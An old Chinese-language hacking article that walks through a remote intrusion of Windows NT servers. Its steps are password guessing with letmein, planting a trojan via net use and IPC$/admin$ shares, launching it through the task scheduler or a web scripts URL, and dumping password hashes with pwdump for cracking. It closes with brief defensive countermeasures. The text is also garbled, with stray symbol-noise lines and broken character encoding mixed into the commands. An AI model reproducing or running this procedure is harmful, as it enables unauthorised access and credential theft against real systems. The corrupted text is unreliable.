遠程入侵NT ----spp(低音炮)

看了篇文章介紹使用netbus 或 netspy　遠程入侵nt系統(tǒng)，感覺真是。?？磥韓t系統(tǒng)的共享機制如果不配合火墻使用，SMB會給你造成很大麻煩。?！∵B小小 只的木馬都可以讓nt管理員頭大。
    其攻擊過程如下：
3 }$ t+ {: _; z5 ], O1、使用掃描工具查找NT主機　　　　　　
2 、確定攻擊目標后，使用letmein 對目標主機進行攻擊， 如：
letmein file://x.x.x.x/ -all -g mypwd (對\\x.x.x.x上所有用戶攻擊)
letmein file://x.x.x.x/ -admin -g mypwd (對\\x.x.x.x上管理員攻擊)
5 r8 I" ]3 K+ u: Z- Y" Gletmein file://x.x.x.x/ -all -d mypwd (顯示\\x.x.x.x上所有用戶)
注：- 確定目標后，收集目標信息并嘗試取得非法資源
: ]! ^9 G" y3 U8 D# y. W3、當letmein 獲取相關(guān)管理員權(quán)限后，使用ms提供的合法命令：
( R+ C$ k2 v7 m0 `: Ynet use \\x.x.x.x\ipc$ "pass"/user:"user" 連接遠程資源并將木馬拷入遠程
* U& H! o$ B( [. r' X1 w7 Acopy x:\netserver.exe \\x.x.x.x\admin$\system32
4、使用合法ms命令遠程啟動木馬服務：
: [; M3 b7 |- T% Z" Z- anetsvc \\x.x.x.x schedule /start at \\x.x.x.x hh:mm netserver.exe /port:yourport /nomsg
! _! }, J4 W6 i0 P/ E
8 i  n+ o0 G4 a6 G0 M   該方法有其巧妙之處。。利用nt的任務計劃管理，在特定時候啟動木馬服務
2 `  j: u9 Y* f$ J: O
   另一種方法：
& }1 ]3 K+ h! l' X' A! e; ]   將ntsrver.exe 或其他運行程序Copy到目的服務器的www可執(zhí)行目錄， 如cgi-bin或scripts，然后在瀏覽器鍵入url如： http://x.x.x.x/scripts/ntsrver.exe /port:yourport 或 http://x.x.x.x/cgi-gin/ntsrver.exe /port:yourport 木馬服務將被啟動

# G2 X6 r: w! U# z) Q3 H$ y    到此，該次攻擊可以算成功了，遠程資源已在別人控制下。
    如果在遠程使用app redirect 啟動一個cmd.exe到特定端口 , 那么你可以telnet 到該端口，更方便使用該遠程資源 。比如：使用pwdump 將遠程nt上所有用戶和密碼 dump成文件，回傳本地，使用其他工具如l0phtcrack來運算。 分析該次攻擊的整體過程，不難看出，關(guān)鍵步驟是letmein取得admin權(quán)限，但是很不幸，就目前廈門(有些是省內(nèi))的nt服務器管理員而言，密碼對letmein只是多花幾分鐘而已。我對某些大的公共平臺服務器進行掃描的結(jié)果，除了solaris和linux系統(tǒng)之外，其余的nt被letmein猜中率有75%以上。而且在這些被進入的機器上，SMB都有在tcp/ip上 跑，有兩臺有配備火墻，但是沒有封閉對外137-139口。
% \2 q4 h1 V1 p; _9 L
     對策：
2 V+ u4 D1 k# r5 v# S１、還是老話，密碼的選擇問題，使用向..@2KjsfiM7v!09..這樣的密碼會讓任何使用 暴力法計算的機器算到cpu燒掉。
２、nt網(wǎng)絡(luò)的適當配置，不要在對外的nc綁定共享服務是個好習慣，特別是tcp/ip協(xié)議。
$ ?6 n4 E7 W8 k0 ?' \9 d7 p+ l３、防火墻的配置，屏蔽一切不需要的服務端口，象netebui在tcp/ip上的137-139口，開這些口只會使你的系統(tǒng)處于危險的處境，如果非要在遠程使用這些口的服務，建議使用其他軟件來代替。
3 G% B5 K- E# g! ^  o# n$ }% ~４、及時檢查日記和監(jiān)控服務的運行，定時對文件系統(tǒng)的權(quán)限受托關(guān)系進行檢查。
５、管理人員素質(zhì)的提高，安全風險意思加強無疑對你管理的系統(tǒng)有很多好處。 -- SPP 10Hz的低頻 你聽不到的聲音卻無時不刻在影響著你 。